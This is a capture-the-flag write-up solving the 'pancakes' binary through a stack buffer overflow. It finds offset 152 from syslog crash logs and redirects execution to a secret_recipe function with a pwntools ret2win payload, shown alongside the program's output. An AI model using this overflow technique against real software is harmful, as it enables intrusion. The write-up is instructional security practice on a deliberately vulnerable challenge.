How many flap-jacks are on your stack?
Connect with:
nc jh2i.com 50021
We are given an ELF 64-bit LSB executable. Normally, we would want to reverse-engineer or decompile the binary in order to understand what it does. However, this is an easy challenge, and we will try to solve it without any reverse engineering.
When running the binary, we are asked to provide some input:
> ./pancakes
Welcome to the pancake stacker!
How many pancakes do you want?
Let's start by running checksec
against the binary to get an idea of the protection mechanisms present.
> checksec pancakes 2> >(sed '3,6!d')
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
We can proceed to test if the binary is vulnerable to buffer overflow by providing a very long string as the input:
> python -c "print('A' * 200)" | ./pancakes
Welcome to the pancake stacker!
How many pancakes do you want?
Cooking your cakes.....
Smothering them in butter.....
Drowning them in syrup.....
They're ready! Our waiters are bringing them out now...
_____________
/ ___ \
|| \__\ ||
|| _ ||
|\ / \ /|
\ \___/ ^ \___/ /
\\____/_^_\____//_
__\\____/_^_\____// \
/ \____/_^_\____/ \ \
// , /
\\___________ ____ /
\_______/
[1] 7878 done python -c "print('A' * 200)" |
7879 segmentation fault ./pancakes
We see a segmentation fault. Indeed, the binary is vulnerable.
We can now tail the system logs to see if we were able to override the instruction pointer:
> tail -1 /var/log/syslog
Aug 2 15:56:58 kali kernel: [21197.078532] traps: pancakes[7919] general protection fault ip:40098a sp:7fff0d13d058 error:0 in pancakes[400000+1000]
Judging by the "traps" message, it seems that we overflowed the buffer way too much.
Let's try again with a smaller input.
> python -c "print('A' * 155)" | ./pancakes
Welcome to the pancake stacker!
How many pancakes do you want?
Cooking your cakes.....
Smothering them in butter.....
Drowning them in syrup.....
They're ready! Our waiters are bringing them out now...
_____________
/ ___ \
|| \__\ ||
|| _ ||
|\ / \ /|
\ \___/ ^ \___/ /
\\____/_^_\____//_
__\\____/_^_\____// \
/ \____/_^_\____/ \ \
// , /
\\___________ ____ /
\_______/
[1] 7959 done python -c "print('A' * 155)" |
7960 segmentation fault ./pancakes
> tail -2 /var/log/syslog
Aug 2 16:01:00 kali kernel: [21439.310210] pancakes[7960]: segfault at 7f7700414141 ip 00007f7700414141 sp 00007fff7f31cf50 error 14 in libc-2.30.so[7f77e5d63000+25000]
Aug 2 16:01:00 kali kernel: [21439.310249] Code: Bad RIP value.
We can see some 41
s in the instruction pointer, which is the hex value of A. Since we passed an input which is 155 characters long, and we overwrote the instruction pointer by 3 A
s, we can identify that the offset is 152.
If we override the instruction pointer with the address of a function of our choice, that function will be called.
Let's look at the list of symbols in the text (code) section of the binary:
> nm -an pancakes | c++filt | grep " T "
0000000000400648 T _init
0000000000400700 T _start
0000000000400730 T _dl_relocate_static_pie
00000000004007e7 T main
000000000040098b T secret_recipe
0000000000400a00 T __libc_csu_init
0000000000400a70 T __libc_csu_fini
0000000000400a74 T _fini
The secret_recipe
function looks interesting.
Let's note its address and write a Python script to call it with the help of pwntools.
> ./solver.py
[+] Starting local process './pancakes': pid 8234
Welcome to the pancake stacker!
How many pancakes do you want?
[>] Sending payload aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaab @\x00\x00\x00...
[*] Switching to interactive mode
Cooking your cakes.....
Smothering them in butter.....
Drowning them in syrup.....
They're ready! Our waiters are bringing them out now...
_____________
/ ___ \
|| \__\ ||
|| _ ||
|\ / \ /|
\ \___/ ^ \___/ /
\\____/_^_\____//_
__\\____/_^_\____// \
/ \____/_^_\____/ \ \
// , /
\\___________ ____ /
\_______/
[*] Got EOF while reading in interactive
$
It seems that the secret_recipe
function didn't do anything. Before we try to reverse-engineer the function's code, let's try to create a dummy flag.txt
file. Since this is a CTF, there is a big chance that secret_recipe
reads the contents of a file called flag.txt
.
> echo "flag{test}" > flag.txt
> ./solver.py
[+] Starting local process './pancakes': pid 8234
Welcome to the pancake stacker!
How many pancakes do you want?
[>] Sending payload aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaab @\x00\x00\x00...
[*] Switching to interactive mode
Cooking your cakes.....
Smothering them in butter.....
Drowning them in syrup.....
They're ready! Our waiters are bringing them out now...
_____________
/ ___ \
|| \__\ ||
|| _ ||
|\ / \ /|
\ \___/ ^ \___/ /
\\____/_^_\____//_
__\\____/_^_\____// \
/ \____/_^_\____/ \ \
// , /
\\___________ ____ /
\_______/
flag{test}
[*] Got EOF while reading in interactive
$
Our assumption was correct, it was a simple ret2win.